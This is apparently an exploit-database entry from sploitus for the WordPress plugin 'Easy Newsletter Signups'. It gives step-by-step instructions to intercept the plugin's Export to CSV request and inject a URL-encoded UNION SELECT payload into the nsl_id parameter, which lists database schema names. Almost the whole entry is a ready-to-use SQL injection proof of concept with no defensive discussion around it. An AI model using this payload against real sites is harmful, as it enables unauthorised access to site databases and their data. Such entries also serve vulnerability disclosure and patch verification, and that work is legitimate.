## https://sploitus.com/exploit?id=WPEX-ID:1B277929-E88B-4AB6-9190-526E75F5CE7A
1. From the "Easy Newsletter Signups", select an email address and then click "Export to CSV"
2. Intercept the request and add the following for the `nsl_id` parameter:
`%5B%5D=265%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT(schema_name)%2cNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-`
3. See the SQLi in the response.